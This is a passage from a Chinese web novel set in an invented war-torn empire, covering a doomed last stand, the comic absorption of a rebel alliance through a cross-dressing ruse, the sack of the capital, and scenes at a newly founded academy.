以少胜多的战役不是没有,一旦数额差距过大就会触发青史留名成就,千年下来其实数目没多少,容易让人误会以少胜多很容易,但不是的。这种战役很难打得出来,而且大多情况是人口占多的一方比较抽象,什么战场带家属,什么暴雨连三月,什么陨石撞军队,什么八百破十万…… 而作为宿将,杨裳很清楚,误判主力在常山的结果只有一个,他这辈子没投过降,也不准备对任何人弯膝盖,名比命重说的就是他。 次日西北精锐转战到一处山口,至少不是四面被围的状态,而是三面被围一面靠山,这就是杨裳要给江骋留的一线生机。西北精锐已经剩下不到三万人了,其中有不少溃兵,都是西北世族部曲,真的如臂使指的还是雁门杨氏的旧部。 杨裳平素关照兄弟,这次却一个都没让江骋带着逃命,而是下令杀掉了自己珍爱的战马,和老兄弟们开了从范阳城里带出来的几坛老酒,夜里吃喝了一顿,还骂河北的酒没有西北的烈。 次日西北精锐突然从山中杀出,气势如虹,人被逼到绝境能爆发出来的力量是非常可怕的,林一观察了一下局势,很快就和杨裳打起了棉花阵,避开最凶狠的兵线,以轻骑兵为主力,弓步兵为辅助,慢慢地磨耗起来。 太行山中,一行十几骑卸甲减轻马匹负重,江骋策马在前,萧玲珑一声不吭坐在他马前,至少远处的喊杀声渐行渐远,直到丛林落叶掩盖马蹄印记,战马停步大口饮水,江骋才跳下马背,远远地看了一眼来时的方向,萧玲珑低声问道:“我们以后,又没有去处了吗?” 江骋忽然看了她一眼,没有说话。 战马稍歇,再次上路,江骋知道林一不会追来,西北狼的最后一次扑咬绝对会咬得非常痛,直到爬不起来为止。事实上他到现在还没有从杨裳弃车保帅的决定中回过神来,他到现在还没有想明白,为什么能逃出来的是他? 战火熊熊烧了四日,林一打仗最大的毛病也是惜兵,想以最小的代价消灭更多的敌人,就要花费更多的心思,等到清理战场的时候,她亲自过去拂开血糊糊的一片,把穿着江骋战甲的那具尸体扒拉起来,面甲底下是个最多十五岁的少年面容,这是李代桃僵了。 林一血淋淋的手很是纠结地抓了一把头发,不过好消息是有,杨裳的尸体也被找到了,他是在军帐里自戕的,自戕之前他就受了重伤,大约是不想死在敌人手上。 此役五万西北精锐,俘虏七千溃兵,余者皆殁。 韩小六衣角微脏,每次打仗都是这样,他一个能被谋臣单杀的大将军,基本上身边都被围得铁桶一样,林一则跟个血人似的,站在一起不知道谁主谁将,韩小六还给累得够呛。不知道是不是指挥车上比较晒,还是把他嗓子喊累了,总不能是横穿战场这几里地把他给跑累了吧。 跑到林一这里时,韩小六擦了一把额上的汗水,他当然认识江骋,当初不是江骋把他扔在雪域,他还在禁军里头做小兵呢,之后也是天天把江骋全家挂在心上,一看到那穿着江骋黑水玄甲的少年尸体,韩小六就忍不住骂了一声浪里马,林一瞥他一眼。 韩小六面不红心不跳的解释道:“则个是窝们淮阴的方言,代表马在浪涛里奔腾,就是很厉害的意思,我是在说江骋厉害啊,必死之局还能跑了。” 林一横竖是听不懂,用韩小六的装饰性披风擦了擦血淋淋的手,下令道:“暑热未去,这里临近水源,不能随意抛尸,找个秃山集中一处先烧后埋……立个碑在侧,防止后人祭奠时寻不到,杨裳厚葬了吧。” 当然,对林一来说的厚葬就是打一个不错的棺材,立一个单独的墓地,什么陪葬品是不可能的,她自己死都不一定随葬点啥,鸟人没有这个习俗。 总之是一场大捷。 这边的战场暂时无事,主要是些善后处理,这个用不到甲兵,之前江骋歼灭天水军那一战,汾水为之不流,天水军的尸体也是由太原那边征发了老百姓去干活埋尸的,战后本来就会有很多人大着胆子去摸尸。林一还是规范了一下,只招青年男女去干这活计,也用不给工钱,干活期间三顿吃到饱就有不少人愿意了,毕竟除了甲兵之外的东西都能摸下来带走,这才是收入的大头。 丝毫也没有停留,林一在休整几日后就把重任交给了韩小六,让他兵发代郡,乘胜追击。 范阳战场结束后不久,苏赫阿那也下了五原和云中两郡,三十万雪域骑兵的局面百年难得一遇,江骋在回到雁门后立刻组织了一切能组织的兵力,在定襄郡和苏赫阿那打了一场硬仗,十二万西北军和雪域骑兵的战损比达到了惊人的二换一,要知道西北军可不是骑兵为主,江骋最善用的战术就是步兵冲阵骑兵侧应,在这样的情况下还能以二换一。 不过两次主动进攻和一次追击战后,江骋就知道不止定襄守不住了,雁门也悬了,在失却朔方之后,雪域骑兵相当于有了一个补给充足的大后方,而西北的后方同样不安全,代郡已经失土过半,他陷入了前后合击之中,是强行困守孤城,还是找到一条路,打开最后的一线生机? 不用多想。 雁门郡守府的后院里一片嘈杂景象,丫鬟们急得跑来跑去收拾细软,江骋后宅的那些女子也都慌得不成。王清云没有收拾太多的东西,只是四季衣物,一些金银铜钱,其他的什么都没有带,几个亲卫把箱子搬到门口,江骋一一清点过人头,最后对王清云行了个后辈礼,低声道:“阿娘,请上车。” 王清云有些惊讶地看了看江骋,江骋经常会叫杨裳阿父,但对她历来都是冷淡客套的,毕竟两人年纪只相差十多岁,又或者是江骋最后还维持着一丝疏离,今日这声阿娘……她抿唇一礼,算是应答。 江骋没有扔下任何一个杨氏族人,愿意跟着他走的世族也全都带上了,事实上几乎没有人不愿意跟着他走,江骋现在手头上还有十几万的西北军,世族的兵在面对自家旧主时或许还有旧情,但别家的部曲就是人面的虎狼,如今的西北军其实也算得一个西北世族联盟军了,只不过人家是真的听江骋的。 王清云上了马车后,等到出城不远看了看方向,就大致有了数。 如今西北不能待了,按照常人的想法,也许经太原去往长安是唯一的一条路,但对于江骋来说,两次大败让他急需建立新的威望,他不会选择退往后方。 兵发洛都!入主中原! 江骋的军队一撤,两面战场同时压力倍减,韩小六那边吃下了代郡,苏赫阿那连克定襄下雁门,双方一会兵,成了孤城的上谷郡露出了不尴不尬的微笑,老子还打个嘚儿啊! 上谷郡守在双方制定下一步计划之前就投了,直到这时,林一把各地的战报分门别类地收拾好,梳了一个特别清爽的发型,坐在盟军军帐内,召开了一次盟军会议,议题不必多说,接下来何去何从呢? 值得一提的是,在会议的前一天,西北军打魏朝最后那几个郡跟打孙子一样,洛都已经被团团围困,魏帝萧宏火速在破城前传位太子,誓不做这个亡国之君。 第175章 盟军之中,最坚定的保魏党就要属卢家一脉了,之前林一不知道,卢宜死后他的侄子卢昭继承卢家的军队之后,这小伙子在会议时几乎没有城府戒心,什么都往外说,她才在卢昭*一次说漏嘴时知道卢宜的大女儿在去年从最低等的太子侍衣晋升昭训,年初有了身孕。 联姻这种事历来就是两个家族最紧密的纽带,太子年纪尚轻膝下无子,这个孩子生下来如果是男孩,就是庶出长子。如果后面太子妃无所出,魏朝又能坚持下来的话,所获之利足以让一个二流世家一跃成为顶尖外戚门阀。巨大的利益悬在头顶,也难怪卢家全族上阵来搏一场滔天富贵。 这是没经历过之前那一场大会战之前的想法,现在时局变化如此之快,雪域骑兵南下,西北变天,之前众人都以为林一如今和雪域是分割的,毕竟她帐下没几个雪域权臣。 消息闭塞之下,很多人连林一的大后方是苏赫阿那在管事都不知道,同样是误判。如今从夏打到快入冬,才下了一个常山半个巨鹿,但凡林一那边腾出手来锤他们,那完蛋了,各家可以收拾收拾先抢占一个山清水秀之地好为后世子孙计了。 如今卢家这边像是一个全副武装的壮汉被摘了头脑,卢昭坐在那儿像个小花瓶,可爱还是蛮可爱,剩下的杨氏军队还是看杨冰这边的意见,杨冰没意见家将们也就没意见,会议现场,众人脸色各异,许开荒率先说道:“盟主,是回援洛都,还是继续进攻,老哥都听你的。” 韩和有些反感许开荒这些草莽首领,忍不住道:“回援洛都,说得轻飘飘,你知道西北军有多凶吗?西北军历来是军中战力第一,当初天水军浩浩荡荡几十万,也被杀空!江骋以西北军为骨,世族锐士为辅,便是雪域骑兵也没有讨到便宜,如今围困皇都,你许开荒手底下那些人,也就是一个朱大方罢了!” 其实能说出这话,说明韩和是认真考量过回援这个问题的,因为林一压根没有去想拉着盟军去打西北军,世族精兵太少,其实好多盟军都是林一渡黄河时看到的那些光膀子瘦弱流民的样子,就和许开荒说的那样,是为了搞些粮食。 洛都那边一被围困,现在他们的补给线也断了,有的是调粮的郡被西北军占了,有的没被占,但当地郡守认为没必要再把自家粮往外运了,而常山郡和巨鹿郡的粮仓是空的。 靠劫掠村镇来养军队吗?众人都看向林一,林一伸手敲了敲桌子,脸色很沉痛地道:“洛都那里,暂时不回去了,西北那边有大批骑兵,我们基本上是步兵,何况真能赶得上吗?现在补给断了,常山空仓,三十万大军的口粮不是小数目,难道要我们去劫掠百姓?退一万步讲,就算一路劫掠回去,到时候洛都早破,我们又打不过西北军,又坏了人心,到时候去哪里安身?” 众人都沉默,胜仗(军演)享受多了,一朝风云变换,实在是一件残忍的事。 林一伸手捂住半张脸防止自己笑出声来,声音更加沉痛,“其实,还有一个办法,也是最令我无法接受的办法,那就是投诚林一,她占据的都是沃土平原,而且近些年来种植了高产作物,就算是下田也能养活更多的人了,到时候马放南山,归园田居,盟军之中大多数兄弟的梦想。” 韩和还来不及反驳,就听杨冰很悲伤地道:“盟主不可啊!林女贪色,您当初不就是为了逃脱她的魔掌才背井离乡的吗?若是、若是……那可怎么办?” 草莽首领那边的沉思一下子被打断,许开荒“艹”了一声,很关切地问:“王兄弟,真个如此?那你万万不可向妖女投降,男儿生当立世,万不可折身屈从!” 许开荒难得憋出一句有文化的话,张小刀就直接喷水了,咳得肺都要吐出来,好不容易才缓上气,连忙问道:“盟主,那个妖妹儿还相中过你嗦?也是哈!盟主你年轻有为,长得又俊,她看不上才怪!不过我们盟军三十万弟兄也不是个小数目噻,她当真为了盟主就接得下我们这么多兄弟伙?莫到时候光要兵器盔甲,喊我们全部喝西北风哦!” 世族将主那边纷纷朝他看来,你们草莽军中有几套甲兵?是你的吗就在这儿担心上了。 韩和想了想,说道:“今日众兄弟已经把话摊明,韩某也不提什么家国天下,其实魏朝大势已去,杨骁此等乱臣贼子,日后史书自有说道不必理会,只是我等也要考虑生前身后名,王朝危在旦夕,而我盟军聚拢三十万壮士浩浩荡荡讨逆而来,最后却投了妖女……实在不像样子,倒不如固守此常山郡……” 话还没说完,杨冰就嗤笑道:“你守你的,等西北那边吞并洛都周边,常山就是两方势力的隔火带,韩兄莫不是今早起来没带脑子?” 韩和却冷静地道:“我正是要如此!如今不降,到那时倒往其中一方,谁胜算更大倒向谁,也待杨骁篡国之事时过境迁不那么扎眼,到时候还能要价,也不用盟主出卖色相,岂不比如今更好?” 林一都惊了一下,还能这样玩? 眼见许开荒他们都开始商议这个了,林一努嘴给杨冰使眼色,杨冰那灌满汪洋大海的脑子里忽然灵机一动,大声地道:“那你可有想过,一个女人一辈子能爱的男人是有限的,如今那妖女身边左拥右抱,对盟主的念想也会被消磨的,如今正是她求而不得,过几年她后宫三千,盟主再被风霜折损些许颜色,到时候妖女枕边谁为我们说话?” 讲真的,在这样严肃的会议场合,把这样荒唐的话大声说出来,杨冰真不愧为杨氏六龙之一。 整个大厅里顿时鸦雀无声,林一的手还捂在脸上,但她能感受到不少人的视线都朝她这边扫来,她想把杨冰从大厅内间一脚踹房顶上去,面上还是不得不保持着沉重的面色。 许开荒被这话震得不行,刚想开口,崔殊就笑眯眯地道:“公主和亲也是为国为民,三十万盟军危如累卵,盟主大义,何必拦他呢。” 林一咬牙切齿,脸色很狰狞地说道:“是!都不要阻拦我!” 看起来很像是被赶鸭子上架了。 除了许开荒痛心疾首,其他人还都觉得这个会议结果挺……安心的,本身盟军这边就比较彷徨,忽然得知盟主是妖女求而不得的白月光,盟主还愿意牺牲自己来让他们得到安定的生活,听听盟主怎么说的:马放南山,归园田居。这真是多少流民梦里的事情啊。 有盟主和亲这么大的事摆在这里,韩和的墙头草计划就显得有些风险了,看着林一少年气盛的俊丽脸庞,这位奔四的世家将主甚至难得起了一丝恻隐之心,在人群之中看了看,清了清嗓子提议,“盟主大义,而我盟军兄弟之中,甲兵锐士不可能都去开荒种地,留在妖女军中的至少也会有十来万,到时候,我们还是盟主的人。” 他还是含蓄了一些,没有说什么陪嫁之类的话,这过于伤盟主了。 林一再次伸手捂住了脸,另一只手朝众人摆了摆,说道:“那就这样定了,明日遣使……今晚让我静一静。” 许开荒不知道该如何安慰林一,张小刀也觉得自己有些过分了,只顾着盟军兄弟的后路,还是几位世族将主过去把他们拉出去了,经历了这么多日子,虽然两边还是互相看不上,但其实已经有些情谊在的。 等众人都散去后,崔殊冷静地捂住了肚子,林一狰狞着脸看着他,崔殊马上道:“打我的话,我会原地拉稀。” 杨冰震惊于崔殊的无耻,眼见林一的视线朝他看来,他还是个正经人,只是小心翼翼地说:“主君,至少……事情解决了。” 林一一拳把红木的桌案锤裂开了,露出哀莫大于心死的表情,是啊,事情解决了,她的名声也毁败了。 让她伤心的不是花名在外,而是她都没有试过的事情被当成了鸟大王的日常,没做过就是没做过啊!到底谁会一晚上睡七八个男人?就算不提兴致有没有那么足的问题,都不需要考虑男人的意愿的吗?她看得上眼的男人都很傲气的好不好? 林一这么好的演讲口才,至今都没有说服苏赫阿那在比较特别的地点……咳! 次日,遣的使者是卢昭,这也是开会决定的,大家决定让长得比较好看的使者过去试试水,要是妖女那边连使者都不放过的话,那盟主看起来也没有什么份量,不如用韩和的墙头草计。 卢昭战战兢兢带着两个副使,百十来个亲卫上了路,林一是不准备在盟军这边掉马的,或许后续可以让少数几个将主知情,但盟军的主体不需要知道她的身份。 于是女装王澈,再次登场! 第176章 王澈一直觉得林一挺享受他的女装,当然这个享受不是说林一喜欢他,而是说享受由他的长相带来的红利。目前林一的名声真是难听得够够的了,但他在打西北军时假扮了林一一阵子之后,从见过他的那些军士口中慢慢又衍生了新的传闻。 什么绝色妖姬,倾国美人,千年一遇,天人化生……总之就是把林一吹得天上有地下无,这很好地冲淡了林一原先的浪荡名声:美人受到追捧不是很正常吗?魏朝世族就是这样的,为何世家公子总是会被炒作美色?可不是因为公子哥喜欢这样,有很大一部分原因是世族女子传名显得轻浮,若有一两个美名在外的兄弟,这家的贵女必然差不了。 当然这点林一是不承认的,这不是……没什么人可以伪装她了嘛,谋臣之中基本上没有合适女装的,找个女将来,那个……啊对对,口音方面也不符合,就王澈最合适。 总之卢昭一行晓行夜宿,经信都往清河郡,再至勃海郡治浮阳,因为一行人路上都没怎么耽搁,走的几乎都是平原,只花了五日不到的时间。其实真要论起来,林一不应该待在浮阳的,她现在在盟军这边都很少多留,主要在西北战场,如今随着江骋撤走,雪域骑兵已经初步攻占太原。林一是准备打打看邻近的上党郡的,这样可以近一步扩张地盘,压缩江骋的空间,让自身优势更大,但是江骋也明白这点,虽然还在围困洛都,但来时就在上党布置了重兵镇守,一时还是腾不开手。 卢昭是真害怕啊,在面见之前,他特意挑了一身不怎么显年轻的衣裳,又特意没有洗澡,胡子拉碴地就这么来了。 刚进浮阳郡守府的时候,就有一个异域容貌的青年略带几分古怪之意地朝使团看来,卢昭被这青年的风姿所震慑,不由思忖,果然不愧是花名在外的女君,连遣来带路的都是如此绝色的异域美男,正要客气几句,苏赫忽律从鼻子里哼出一口气,就怎么走了。 卢昭更加小心翼翼了,他只是使者啊,连使者都要被敌视到这个地步,那林女君的后院竞争该多激烈啊。 好在真正被派来带路的人很快就到了,郡守府的正堂隔着不远,途中三三两两有官员经过,看起来还是个正当的场合……直到见到“林女君”之前,卢昭还能尽一个使者的职责仔细观察,步子一踏入正堂,卢昭就见到了端坐堂上的宫装美人。 初时只是半张脸,女君正捏着浅浅的兰花指端着茶盏饮茶,眉目低垂,茶盏移开时,便在那点染花色的唇瓣上留下一点水痕,卢昭的心顿时砰砰乱跳起来。 这会儿天色不算早了,郡守府正堂四处还没有点起灯火,就显得有些昏暗,但明珠就算是在暗夜里也会闪烁独有的风姿,卢昭一时看傻了眼,身后的副使也是愣神片刻才捅了捅卢昭的后腰。 王澈很随意地让人点起灯来,他点灯大手大脚一点都不心疼,每隔几步就一个灯架子,至少点起十五六根蜡烛,卢昭却不敢再看他了,眼观鼻鼻观心,小心翼翼地说起盟军投诚的事来。 “杨骁贼子裹挟乱军亡我故国,如今走投无路,我盟主王醉,愿交还常山并巨鹿郡一带,为女君效力,只是盟军之中多有流民,人口众多,有……” 他说得比较干巴,副使想开口,头一抬就看到“林女君”风姿无双的脸上漾起一丝微妙的笑意,只觉这妖女笑得好生勾人,顿时不敢再看。 王澈慵懒地敲了敲桌子,柔声说道:“不必多说,俺早就知道他得回心转意嘞,接手盟军那都不叫事儿!使者你这趟回去,记着叫王醉下回自个儿来见俺,俺跟他有些知心话要讲。行嘞,天也不早,送使者回馆驿歇着。” 卢昭有些痴痴的,啊,这才几句话就要走了吗? 王澈才不管这个咧,他自觉演得已经很到位了,一身的厚重华服和满头珠翠,他穿戴得很难受,等到使者一行离去,马上就去换了衣裳。 次日王澈就不见卢昭他们了,由高若和封时接待,主要商议了一些接收盟军的具体事务,首要的肯定是粮草,然后是把可战之兵和想要分田种地的流民分离出来,还有很多拉拉杂杂的事务,这些其实吧不归卢昭管,但是这体现了林一接收盟军的决心。 原来林女君真的对我们盟主念念不忘啊…… 卢昭都说不上来自己是什么感觉,就是、就是盟主好像没那么大魅力啊,他也不是说盟主不是英雄豪杰,就是说吧……盟主长得还没他俊呢。 惊天的美貌和滔天的权势啊,怎么都能集中在一个人的身上? 卢昭从勃海郡折返回常山盟军老巢的时候,脑子里还反复回想着那天傍晚的会面,路上经过一座县城停留购置干粮的时候,忽然见到城中四处张贴榜文,有年迈的老人听衙役念完,在城门口喜悦大哭,城中百姓也逐渐汇聚起来,每一张脸上都写着兴奋之色。 “江骋贼子破了洛都,把老皇帝从宫里拖到街市上,好悬没给砍咯!” “该!真杀了才好,十五年的时候北边闹旱,俺这没遭灾,赋税加三成说拉去赈灾,赈他老母!俺弟弟就饿死在那年,没遭灾的年活活给饿死了!” “皇帝!哈!俺们鸟大王咋还没称帝?” “老皇帝可能死不了,公文里说江骋没杀几个,之前就听说老皇帝的公主是跟着他私奔的。” “俺就是问问,鸟大王称帝之后得改什么年号?” …… 卢昭知道林女君治下的百姓和拥戴她,到这个时候才发现传闻终究只是传闻,河北被打下来也就一年多的时间,她的声望却已经大到这样的地步了,说实话听闻洛都被破,连他都心里一空,没想到对河北百姓来说压根不叫个事,甚至还抱怨江骋手没有更黑一些。 想到那张慵懒绝色的笑颜,卢昭空落落的心忽然颤了一下,迷迷糊糊也想道:是啊,咋就不给萧宏一刀杀了呢? 洛都。 自魏朝开国之君定都于此,富贵繁华四百年的都城,奢靡的香气混杂着血腥,江骋破城已有两日,西北军跟着他颠沛流离到了这里,需要一场大胜的洗礼,平民百姓集中驱赶到城南,放置铁锁拦路,而后天街一路,遍地血污。 不劫平民,因为无利可图,昔日那些富贵公卿的宅邸,皇亲国戚的私产,才是西北军最好的犒赏,江骋第一次完全解禁西北军,想杀人就杀人,想劫掠就劫掠,连宫室都不例外,萧宏的后宫人数不少,有名位的妃子就有二十多个,更多的是没有名分,幸过几次就抛在脑后的,江骋准备分赏给有功将领,不然要如何呢?指望他做什么呢? 萧玲珑没有管这些,她向来不和江骋讨价还价。 如今萧宏和太子一家都被关在东宫之中,被围困的那些日子,萧宏是传位太子了的,但是没什么用,江骋可不管这些。这世道还没人弄出过太上皇的先例,皇帝死了才有新君,萧宏做了二十几年的皇帝,全天下人都知道他是皇帝,他死了也就算了,他活着,谁管他传什么屁的位。 早起萧玲珑就在梳妆打扮了,自从她离开洛都,原本属于她的宫室挪给了新晋升的妃嫔,洛都宫殿地方不算小了,这宫室原先是赐给叶妃居住的,萧玲珑从小就和母亲住在这里。 回到宫中后,她就让人把住在里面的妃嫔拖出来打死了,有的宫人原先服侍她和叶妃,没有跟着她去和亲而是留下来,又伺候了新妃的,也打死了,死了人后她就不愿意住在这里,而是直接住进了皇后的宫室里。 江骋什么都没说,在他看来,萧玲珑的脾气就像是西北军的将士,压抑到极致就是癫狂,对西北军需要张弛有道,发泄过后再拴紧缰绳,对萧玲珑就不必这样,因为宫中长大的小公主其实是看着萧宏眼色长大的,娇纵但有分寸,她就算真疯了,也只和惹得起的人较劲。 萧玲珑从皇后的宫室中盛妆打扮出来,往东宫去,破城以来她都还没有去见过萧宏这个父亲,有几回想去的,但是都忍住了,因为那时候江骋很忙,直到昨晚,江骋睡前告诉她,可以了。 小公主今早马上就气势汹汹地扑往东宫。 江骋站在一处高台远望,晨曦映照得他的盔甲冷如冰墙,远处是常山的方向。 卢昭累死累活回到常山时,赶上午饭时间,林一正蹲着和许开荒几个吃水煮豆橛子,她最开始吃豆橛子时感觉滋味挺好的,现在越吃越怕,但是没法子,三十万盟军存粮无几了,要不是豆橛子,都撑不下来这么些天。 放在以往,卢昭觉得盟主颇有不拘小节的英雄气概,但想到“林女君”那绝色的容颜,提到“王醉”时嘴角那一丝醉人的笑意,顿时眼睛不是眼睛,鼻子不是鼻子了。 女君,你知道我们盟主一边抠脚一边吃饭吗? 第177章 一场河北大会战从盛夏打到秋深时节,除了一些地方还偶有小战爆发,但大致上已经安定下来,林一在接手了三十万盟军之后,终于可以缓上一口气。 从来打天下易,治理难,啊当然这事不归林一管,她是负责提意见的,整个治理过程中有80%的困难来自于林一的一拍脑袋。 洛都被破之后,各地基本上就已经给萧宏远程送终了,谁管萧宏具体死没死,之后也许可能出来给人家江骋禅个位什么的,总之大家都默认魏朝亡在这一年了,算下来应该是魏末帝二十七年。 已经有一些家传写史的世族在家史里开始编造、啊不记载一些事情了。 陆行从林一那边回去之后就称帝了,这次联盟其实江东王这边啥力都没有出,等于带着大军来林一这里吃喝了几个月,好处没拿几分,陆行之前还想拿个琅琊郡什么的,看到雪域那边出了三十万骑兵,把西北精锐都给干到河南了,想了想还是决定老实点。 其实陆行不知道啊,在这个很常规的回程之前,王澈跟林一提议过的,联盟到止战为止,那样按理来说江东军已经不在结盟条约保护范围之内了,佯装送行然后大军埋伏,直接把陆行干掉,吞下江东军不是更好? 林一作为一个正直大鸟,总是会被自己的缺德军师刷新认知,虽然这事她在雪域干过吧,但是那是在雪域各自都心怀鬼胎的情况下,陆行他真的就是啥都没干,来吃了一顿就准备走的啊!但是吧,林一琢磨了一下才拒绝了这个提议。 现在吃江东,步子太大吞不下,反而可能招来江东和中原的结盟,现在江骋可不是远在西北了,而是自武都广汉郡起头,三辅至长安,跨弘农、河东河内与东郡。一个横在地图上的棍形,基本上就等于他拿一把棍子直接顶着林一的腰子了。 两方地图就像是一个微微斜着的:——|的形状,江骋是——,林一是|。 所以说吧,战争地图这种看多了,真的会让人觉得很涩。 说回称帝的事,其实林一压根没准备干,从鸟瞰角度往下望,她的地盘才多大一些,勉强是个几州牧而已,称什么帝,江骋也没有称帝的打算,他现在自号为朔桓王,没称帝只是称了王,而陆行……他真的就是那种很自信很张扬的一款江东王。 赶在入冬之前,盟军中的流民大军都分配到了地方,身强力壮的走远一些,远至辽东和胶东那边岛屿的都有,因为原则上来说愿意走得越远,分的田越多,体质不怎么好的就地分配,在从世族那里夺了不少田之后,林一制定的分田政策也基本能供应上。 因为秋收已过,这些人会被分发一季的过冬粮,需要分摊到各村各镇,这是为了防止闹乱,每个村领回去三五个人那真不叫事,一个人最多分个十几二十亩地,这数目放在以前养不活人,但有了高产的作物就不一样了。一切纷争的源头都是资源问题,能吃饱喝足,饿不死人,那就是史书里百年一次的盛世光景了。 剩下的收编入伍,同样也要打散分配,原先的将主按照领兵人数折换军职,但也要过武科,在过了武科之后,按照领兵人数还领那么多兵,现在军职和地方职务挂钩,少的县尉,多的郡都尉,还要再往上去去就比较困难,得看军功积累。 当然,要按照这个说法,许开荒得直接和韩小六平齐,他带了多少流民来要饭啊!这是真上河北来要饭的了,不过就冲许开荒能勒得住这么些人不到处劫掠,他也值当一个郡都尉的位置,就是吧……得先立个小目标,考武科。 许开荒这辈子都没想过自己还能有去读书人的地方学习的一天,张小刀别看骂人溜,他也是大字不识几个,草莽首领都各有各的问题,不过底层一些的军职用不上考试,所以也就他俩加塞进入了如今最抢手最热门,多少世族挤破脑袋也挤不进去的清河学宫里。 听闻清河学宫的创办人崔绚老先生乃是儒学大家,清河崔氏历来就是以儒传家,在没有创办学宫之前就桃李众多,崔绚更以圣师自勉,在学宫门前立“有教无类”碑,广收弟子门生,不拘世庶贱民,只要合要求就能入学。 许开荒和张小刀领兵之后没少见过那些自诩有识之士的儒家君子前倨后恭姿态,对儒学柔软的身段有些不屑,但在进入学宫前,看着来来往往衣着迥异的同学,看着门口的有教无类碑,那简朴的学宫中透出的书香气息,两人都被震慑到了,只觉得至圣先师的光辉自千年前投射而来。那位崔绚老先生很是自谦,但如今已有不少人在暗地里尊其为崔子。 陪同两位草莽首领来办理入学的是崔殊,崔殊这趟送完两人就要回勃海了,属于顺手的事,见两人呆愣愣的,崔殊催促道:“两位,以后再看不迟,今天天不早了,先办下学籍,入住学宫,接下来的日子只要没考过武科,你们在这儿待的时间长着呢。” 许开荒没吭声,张小刀有些怯了,“我们硬是考球不过,一辈子都当学生嗦?我婆娘在后边撵起嘞,明天还要抱起娃儿来,她跟娃儿两个盯到我上学考试,你说这男人家……崔老哥,女君把兵收喽就收喽嘛,我屁都没放一个,给我整两亩地种哈儿也没得啥子嘛。” 崔殊严肃地说:“这不是解兵权的权宜之计,张首领,世族任用勇武的家将之前,也会先教他们读书识字学兵书,这是看重两位,武科对盟军首领来说都是降难度录用的,因为能带领那么多兄弟,本身能力就已经足够,武试具体内容主要就是听写传达文字情报之类,两位学个半年就能去试考了。” 这话让两人更没底了,不过许开荒还是认真地点点头,“应该的,应该的,老子这辈子都没有这样的机会,走走走,进去,别挡着门口。” 他和张小刀两人跨在门槛说话,已经学童怯生生观望他们,不敢出入了。 办理入学的手续挺多,崔殊没那个耐心,直接带两人去见崔绚,这位崔氏老家主比起上次见崔殊,已经很有朴素大儒的风采了,头发用木簪束起,穿青衣儒袍,出于某个天下崔氏都有的小问题,崔绚也没有蓄胡须,越发显得清隽高雅。 一听崔殊来意,老先生微微笑道:“自然、自然,先着两位去南苑住下,学籍繁琐,主要是还得从勃海那边审批下来,一来一回要些时日,不过有崔贤侄在,肯定办得下来。” 许开荒和张小刀感觉自己在这样的老先生面前几乎抬不起头来了,也就没注意到崔绚对崔殊的态度有些过于畏惧了,崔殊又问道:“许久没来,怎么要勃海那边审批学籍?来回之间太耗时了。” 这么耗时的办法可不像是林一手底下的地方想得出来了,林一特别喜欢简化工作流程,崔殊怀疑她以前有过什么走流程的阴影,没敢问出来罢了。 崔绚有些自得地道:“如今想走学宫门路的人太多了,老夫实在应付不来,就申请了这个审批流程,这样就算老夫这里为了人情拒绝不下来,勃海那边女君也不会审批通过的,虽然耗时了些,但效果不错。” 他又唏嘘道:“从前没想过,但学宫这种日子过久了,还真是……” 虽然是大儒,但崔绚一时也形容不出来自己的心情,就是单纯的环境待久了,有些舒心吧,他现在最喜欢的反而就是非世族出身的学生,那种未经知识洗礼的眼神太清澈了,看久了连他也会变傻。 傻点好,傻才能乐呵。 崔殊下意识地远离了崔绚一点,他觉得有些恐慌,这玩意儿不传染吧? 总之放下许张两人,得到崔绚的保证之后,崔殊就无事一身轻地走出了清河学宫,一路上看到世族的学子和平民学生之间是有无形壁垒的,世族只和世族玩,平民也不去那边凑热闹,崔绚还搞了一个分班制,世族学生也不和平民学生一个班级上课,但是有竞争。 崔绚这老东西贼得很,在有教无类碑背面贴每月成绩榜,虽然没有在每个学生名字后面标注世庶这么离谱,但世族名和字俱全,平民通常名取得潦草也无字。哦呦,这样可就厉害了,很激励平民学生啊,同样对世族学生也是暴击,但凡被平民压了一头的,晚上睡觉都要蒙在被子里哭,至于为什么蒙被,两人寝啊,出身再好的世族学生也得和一个平民学生住一个寝室,问就是地方不够,条件艰苦。 崔殊走出门到一半,忽然又去看了一眼有教无类碑背面的成绩单。 月度榜单第一名,崔凝,字元春。 单字名通常是男学生,这年头世族给女儿取名一般是双字名,也有排字辈,但是崔殊记得自己有个堂妹就叫崔凝春,小字元春……来着?重姓还重字这么巧合的吗? 不是,清河学宫男女同校的啊,搁这演梁祝吗? 第178章 范阳崔氏人丁兴旺,崔殊离家几年了,小姑娘十岁和十五六岁的区别很大,不过他倒是真认得崔凝春,因为前几十章的时候,他准备给韩小六介绍一个自家堂妹联姻亲来着。当时他挑中的人选里就有崔凝春,但是她自身没那个意愿,加上崔凝白的意愿又很强烈,谁想到韩小六看中了小七嫂…… 不提那些,总之崔殊是认得崔凝春的,今日来得略晚已经过了上课时间,学子们三三两两在学宫穿梭也不是为了别的,世族子弟外出开小灶,平民学生也不是就没有事做,有闲着没事钓鱼的,也有在学宫边上勤劳致富的,比如做点小东西贩卖,摆个晚食摊子赚同学的钱,所以还挺热闹的。崔殊向来不费寻人的劲,折返回去找崔绚,从他那里得到了各地学子的学籍资料,也就确认了崔凝春的身份。 崔绚还疑惑呢,“范阳崔氏家学渊源,只这一位崔氏子在学宫求学,他的成绩总是第一,但不去考试,说是养名也太奇怪了些,在学宫这样的地方,大家都忙着学习……” 剩下的话对崔殊这样的聪明人无需讲明,学生之间的竞争是很*激烈的,你比人家成绩好可不是好名声,恨你的多了去了,一个才华出众的世家子弟应该去专门备考官试,而不是留在学宫里炸鱼塘杀菜鸡,学宫这边可都是从基础教起的。 崔殊两撇胡子翘了翘,然后问道:“学宫都是世庶两人寝,你给我这位堂弟安排了什么室友同住?” 这个崔绚记得,毕竟是范阳崔氏那边的子弟,他挑的其实也不算平民室友了,而是一位来自泰山郡的寒门学生,崔殊想了想,不往下问了,就道:“喊她过来吧,一家兄弟姐妹的,我远来一趟也不容易,问问她有没有短缺的,我身上正好带着些钱。” 学宫里经常有探望学生的,穷有穷的探看法,富有富的探看法,崔绚没多想就找了个学生,让他叫崔凝春过来,崔殊又补充道:“她那个室友也叫来吧。” 崔绚正喝茶,崔殊看了他一眼,老人家一下子迟疑住了,问道:“是否我不方便在这里?” 崔殊觉得他真是教蠢学生把自己也给教傻了,伸手掸灰,皮笑肉不笑地说:“接着问啊。” 崔绚放下茶盏就出了自己的书房,很老实。 